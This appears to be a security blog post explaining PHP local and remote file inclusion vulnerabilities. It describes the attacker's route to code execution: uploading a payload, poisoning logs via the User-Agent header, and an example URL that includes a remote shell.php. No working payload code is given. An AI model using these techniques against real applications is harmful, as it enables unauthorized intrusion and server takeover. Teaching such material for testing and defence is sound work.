File Inclusions

Credit: D3Damon

Hey folks, Today we are going to talk about the another basic vector called File inclusions. For the purpose of exploiting file inclusion vulnerabilities in an application first we need to understand what is file inclusion and how it occurs on an application. So that we can find and exploit these type of vulnerabilities easily. So what is file inclusion vulnerability in an application and how it helps to get a shell on the system. Apart from that we need to aware that this type of vulnerability serve high to critical severity in the wild.

In simple terms file inclusion is a type of feature available in programming language like PHP based applications where the file is included on the application for the purpose of application’s functionality. Let’s say for an example: “ The endpoint allows to add the user.php page as a normal functionality which is a very usual behavior for the applications based on PHP. http[://]www.vulnerable.app/section/?file=user.php . The vulnerability happens when the application is not validating the URL parameter file and includes what ever user supplied data without any validation on the server side. If the application is vulnerable to this type of attack and if successfully identify the endpoints which is capable of including the user supplied data without any validations, as an attacker we can able to include any kind of data which is available on the system. For the purpose of identifying the files available on the system we need to find the file system or directory tree available on the system. Here we need a help from the directory traversal attack that we covered on our last blog . Since most of the time finding and exploiting the directory traversal and file inclusion will overlap.

There are 2 types of file inclusion vulnerabilities available in the wild and they are namely :

Local File inclusions.Remote File inclusions.

The main deference between these two is lied on the type of file that we are able to include on the vulnerable application.

For example if the application is vulnerable only to local file inclusion and we need to put our payload on the target application server in order to exploit these type of vulnerability, for example if our application is allows to upload the file without any restriction we can leverage that to upload a file containing our payload(or shell) to the system and include that file path in the vulnerable endpoint (some times applications will validate the type of file that we are uploading and most cases it will not allow the PHP codes, another type of defense is we cannot see the uploaded files exact locations). We will not give up if we find this type of vulnerability on the application. Here comes another efficient method to exploit the vulnerable application.

Another scenario is to inject our payload in the log by use of user-agent header or other techniques the idea here is many application servers will log the end user’s data such as IP, host header and user-agents header, etc. If we are able to log our payload using the this method we only need to include the server log path in the vulnerable endpoint and boom we will get the shell according to our payload. (Since operating systems will provide standardized path for those kinds of logs for eg: linux logs web logs are available in /var/ directory)

And if we got the remote file inclusion vulnerability we have the luxury to choose what ever payload that we like to include, Since it will include the external files from external URLs. Kind of cool right?

Now a days RFI vulnerabilities are less than the LFI since the application developer needs to enable the “allow_url_include” externally which means this feature is not enabled by default on newer versions of PHP.

How ever we need to identify our playground before we can play !, right? With that in mind we are starting our endpoint discovery. First we need to identify the URL endpoints that including the file name as a parameter. For a simple example is like: http[://]vulnerable[.]app/menu.php?file=index.php

What if the application developer forgot to whitelist the files that he needs to include. Then the application will allow users to include arbitrary files as they need. how ever it will only include the files with in the application server itself, since we are focusing on Local File Inclusions a.k.a LFI. As we already know the techniques to include our payload in the application. We can leverage that vulnerability in to Code Execution.

What if the application feature allows to include the URL as a parameter. For example : http[://]vulnerable.app/menu.php?file=http[://]localhost:4444/shell.php , Then we have the luxury to choose whatever payload as we like which is a kind of cool right?

I have find simple file inclusion vector in my recent test. Don’t think the developer is smart always. Beyond that they are also humans. Try to make the internet safer by wearing white-hat :)

External Materials:

Portswigger academy have decent amount of labs and tutorials to get hands wet and they also provide the cheat sheets.OWASP.org have techniques from the attacker perspective and mitigations from the developer perspective and owasp has also provide good cheat sheets.Internet is the key to external world, Search and research.

Thank you…